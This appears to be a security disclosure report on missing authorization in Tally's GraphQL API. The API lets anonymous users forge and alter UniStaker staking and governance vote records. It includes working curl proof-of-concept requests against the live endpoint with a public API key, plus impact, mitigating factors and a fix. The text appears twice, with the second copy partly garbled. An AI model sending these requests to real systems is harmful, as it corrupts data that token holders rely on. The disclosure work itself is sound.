Severity: High
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
Endpoint: POST https://api.tally.xyz/query (GraphQL mutations createUnistakerTransaction / updateUnistakerTransaction; query unistakerTransactions)
Auth: NONE (only the public NEXT_PUBLIC frontend Api-Key; no user session / Bearer token)
Unauthenticated attacker can forge and tamper with any wallet's UNI-staking transaction records
Summary:
The GraphQL mutations createUnistakerTransaction and updateUnistakerTransaction perform NO
authentication or authorization check. These resolvers are meant to be written only by Tally's own
on-chain indexer, but any anonymous internet user (sending only the public frontend Api-Key) can:
- INSERT staking-transaction records attributed to ANY wallet address, with attacker-chosen type
(stake / withdraw / stakemore / claimreward / alterdelegatee / alterbeneficiary / multicall /
delete), arbitrary amounts, delegatee/beneficiary, and status; and
- MODIFY the status of ANY existing record (selected by its HashID) to indexed / failed / timeout.
The forged rows persist and are served back through the public unistakerTransactions query that
the Tally UI uses to display UniStaker staking activity. Contrast: the sibling mutations
createTokenSale / updateTokenSale / setArbitrumProposalExecuted / ingestOFACAddresses all
correctly return Unauthenticated: access denied — the auth middleware was simply omitted on the
Unistaker resolvers. This is a distinct subsystem/endpoint from the previously reported governance
authz bugs (linkGovernor/updateGovernor/proposal-lifecycle/createSafe).
Steps to reproduce (copy-paste; KEY = public frontend Api-Key, no Bearer token sent):
KEY=365b418f59bd6dc4a0d7f23c2e8c12d982f156e9069695a6f0a2dcc3232448df
-
INSERT a forged staking record for an arbitrary victim address (no auth):
curl -s https://api.tally.xyz/query -H "Content-Type: application/json" -H "Api-Key: $KEY" -d '{
"query":"mutation($i:CreateUnistakerTransactionInput!){createUnistakerTransaction(input:$i)}",
"variables":{"i":{"id":"eip155:1:0x1212121212121212121212121212121212121212121212121212121212121212",
"address":"0xVICTIM...","type":"stake","status":"pending","newAmount":"1000000"}}}'
=> {"data":{"createUnistakerTransaction":true}}
-
Read it back through the public query (no auth) — record persisted:
curl -s https://api.tally.xyz/query -H "Content-Type: application/json" -H "Api-Key: $KEY" -d '{
"query":"query($i:UnistakerTransactionsInput!){unistakerTransactions(input:$i){id address type status newAmount createdAt}}",
"variables":{"i":{"accountId":"eip155:1:0xVICTIM..."}}}'
=> {"data":{"unistakerTransactions":[{"id":"eip155:1:0x1212...","address":"0xVICTIM...",
"type":"stake","status":"pending","newAmount":"1000000","createdAt":"2026-06-05T14:23:45Z"}]}}
-
TAMPER: flip the record's status to "indexed" (no auth, by HashID only):
curl -s https://api.tally.xyz/query -H "Content-Type: application/json" -H "Api-Key: $KEY" -d '{
"query":"mutation($i:UpdateUnistakerTransactionInput!){updateUnistakerTransaction(input:$i)}",
"variables":{"i":{"id":"eip155:1:0x1212...","status":"indexed"}}}'
=> {"data":{"updateUnistakerTransaction":true}} (re-reading shows status now "indexed")
-
Protected sibling for comparison (proves the omission, not an open-by-design API):
createTokenSale / updateTokenSale / setArbitrumProposalExecuted => "Unauthenticated: access denied".
Test artifacts left for you to purge (HashIDs on chain eip155:1):
0x1212121212121212121212121212121212121212121212121212121212121212
0x3434343434343434343434343434343434343434343434343434343434343434
Impact:
- Anonymous, unlimited forgery of UniStaker staking activity attributed to arbitrary wallets, served
by the public API/UI. Attacker can fabricate stake/claimreward/withdraw history, set huge amounts,
forge alterdelegatee/alterbeneficiary events, and mark fakes as "indexed" (appearing confirmed).
updateUnistakerTransaction accepts any HashID with no ownership check, so a real indexed
transaction can be flipped to failed/timeout — corruption/DoS of genuine staking records.
- Data-integrity compromise of governance-staking information that delegators/holders rely on, and
pollution of any analytics/derived state computed from these records.
Mitigating factors (honest): these are off-chain index records mirroring on-chain UniStaker events;
the bug does not move on-chain funds or change real staking balances. Harm is to the integrity and
trustworthiness of the data Tally displays and any logic derived from it.
Additional confirmed instances (SAME root cause — auth middleware omitted on activity/tracking
resolvers; all verified UNAUTHENTICATED this assessment, public Api-Key only, no Bearer):
- createCastVoteMetaTransaction(governorId,address,transactionId,validUntil,gasPrice,proposalId,
support) => returned a MetaTransaction (SUCCESS, unauth). Lets anyone forge governance
vote-attempt/meta-transaction records attributed to arbitrary voter addresses and governors; the
records are served by the public metaTransactions(action,governorId,address) query, so forged
"who attempted to vote on proposal X" activity appears in Tally's governance data.
- createDelegateMetaTransaction(...) => unauth reaches business logic ("asset id is not valid" — a
field-validation error, NOT access-denied); succeeds with a valid AssetID → forged delegation
meta-transaction records for arbitrary from/delegatee addresses.
- createVoteAttempt(proposalId,type,txHash,voter) => unauth reaches business logic ("failed to fetch
proposal" for a non-existent id, NOT access-denied) → forged vote-attempt rows for arbitrary voters
on real proposals.
These were tested with clearly-marked junk inputs; a full authz audit of the resolver layer is
recommended (the same middleware that protects createTokenSale / updateChain / setArbitrumProposal-
Executed / ingestOFACAddresses / loginAsSafe was simply not applied to the above).
Fix:
Apply the same authentication/authorization middleware used by createTokenSale/updateTokenSale to
createUnistakerTransaction and updateUnistakerTransaction (and to createCastVoteMetaTransaction,
createDelegateMetaTransaction, createVoteAttempt) — restrict writes to the trusted indexer/relayer
service account or an authenticated, authorized user. Reject writes whose address/voter/id are
not owned by the caller, and do not allow client-supplied HashIDs to overwrite or mutate existing
records without authorization.
Severity: High
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
Endpoint: POST https://api.tally.xyz/query (GraphQL mutations createUnistakerTransaction / updateUnistakerTransaction; query unistakerTransactions)
Auth: NONE (only the public NEXT_PUBLIC frontend Api-Key; no user session / Bearer token)
Unauthenticated attacker can forge and tamper with any wallet's UNI-staking transaction records
Summary:
The GraphQL mutations
createUnistakerTransactionandupdateUnistakerTransactionperform NOauthentication or authorization check. These resolvers are meant to be written only by Tally's own
on-chain indexer, but any anonymous internet user (sending only the public frontend Api-Key) can:
(stake / withdraw / stakemore / claimreward / alterdelegatee / alterbeneficiary / multicall /
delete), arbitrary amounts, delegatee/beneficiary, and status; and
The forged rows persist and are served back through the public
unistakerTransactionsquery thatthe Tally UI uses to display UniStaker staking activity. Contrast: the sibling mutations
createTokenSale/updateTokenSale/setArbitrumProposalExecuted/ingestOFACAddressesallcorrectly return
Unauthenticated: access denied— the auth middleware was simply omitted on theUnistaker resolvers. This is a distinct subsystem/endpoint from the previously reported governance
authz bugs (linkGovernor/updateGovernor/proposal-lifecycle/createSafe).
Steps to reproduce (copy-paste; KEY = public frontend Api-Key, no Bearer token sent):
KEY=365b418f59bd6dc4a0d7f23c2e8c12d982f156e9069695a6f0a2dcc3232448df
INSERT a forged staking record for an arbitrary victim address (no auth):
curl -s https://api.tally.xyz/query -H "Content-Type: application/json" -H "Api-Key: $KEY" -d '{
"query":"mutation($i:CreateUnistakerTransactionInput!){createUnistakerTransaction(input:$i)}",
"variables":{"i":{"id":"eip155:1:0x1212121212121212121212121212121212121212121212121212121212121212",
"address":"0xVICTIM...","type":"stake","status":"pending","newAmount":"1000000"}}}'
=> {"data":{"createUnistakerTransaction":true}}
Read it back through the public query (no auth) — record persisted:
curl -s https://api.tally.xyz/query -H "Content-Type: application/json" -H "Api-Key: $KEY" -d '{
"query":"query($i:UnistakerTransactionsInput!){unistakerTransactions(input:$i){id address type status newAmount createdAt}}",
"variables":{"i":{"accountId":"eip155:1:0xVICTIM..."}}}'
=> {"data":{"unistakerTransactions":[{"id":"eip155:1:0x1212...","address":"0xVICTIM...",
"type":"stake","status":"pending","newAmount":"1000000","createdAt":"2026-06-05T14:23:45Z"}]}}
TAMPER: flip the record's status to "indexed" (no auth, by HashID only):
curl -s https://api.tally.xyz/query -H "Content-Type: application/json" -H "Api-Key: $KEY" -d '{
"query":"mutation($i:UpdateUnistakerTransactionInput!){updateUnistakerTransaction(input:$i)}",
"variables":{"i":{"id":"eip155:1:0x1212...","status":"indexed"}}}'
=> {"data":{"updateUnistakerTransaction":true}} (re-reading shows status now "indexed")
Protected sibling for comparison (proves the omission, not an open-by-design API):
createTokenSale / updateTokenSale / setArbitrumProposalExecuted => "Unauthenticated: access denied".
Test artifacts left for you to purge (HashIDs on chain eip155:1):
0x1212121212121212121212121212121212121212121212121212121212121212
0x3434343434343434343434343434343434343434343434343434343434343434
Impact:
by the public API/UI. Attacker can fabricate stake/claimreward/withdraw history, set huge amounts,
forge alterdelegatee/alterbeneficiary events, and mark fakes as "indexed" (appearing confirmed).
updateUnistakerTransactionaccepts any HashID with no ownership check, so a real indexedtransaction can be flipped to failed/timeout — corruption/DoS of genuine staking records.
pollution of any analytics/derived state computed from these records.
Mitigating factors (honest): these are off-chain index records mirroring on-chain UniStaker events;
the bug does not move on-chain funds or change real staking balances. Harm is to the integrity and
trustworthiness of the data Tally displays and any logic derived from it.
Additional confirmed instances (SAME root cause — auth middleware omitted on activity/tracking
resolvers; all verified UNAUTHENTICATED this assessment, public Api-Key only, no Bearer):
support) => returned a MetaTransaction (SUCCESS, unauth). Lets anyone forge governance
vote-attempt/meta-transaction records attributed to arbitrary voter addresses and governors; the
records are served by the public
metaTransactions(action,governorId,address)query, so forged"who attempted to vote on proposal X" activity appears in Tally's governance data.
field-validation error, NOT access-denied); succeeds with a valid AssetID → forged delegation
meta-transaction records for arbitrary from/delegatee addresses.
proposal" for a non-existent id, NOT access-denied) → forged vote-attempt rows for arbitrary voters
on real proposals.
These were tested with clearly-marked junk inputs; a full authz audit of the resolver layer is
recommended (the same middleware that protects createTokenSale / updateChain / setArbitrumProposal-
Executed / ingestOFACAddresses / loginAsSafe was simply not applied to the above).
Fix:
Apply the same authentication/authorization middleware used by createTokenSale/updateTokenSale to
createUnistakerTransaction and updateUnistakerTransaction (and to createCastVoteMetaTransaction,
createDelegateMetaTransaction, createVoteAttempt) — restrict writes to the trusted indexer/relayer
service account or an authenticated, authorized user. Reject writes whose
address/voter/idarenot owned by the caller, and do not allow client-supplied HashIDs to overwrite or mutate existing
records without authorization.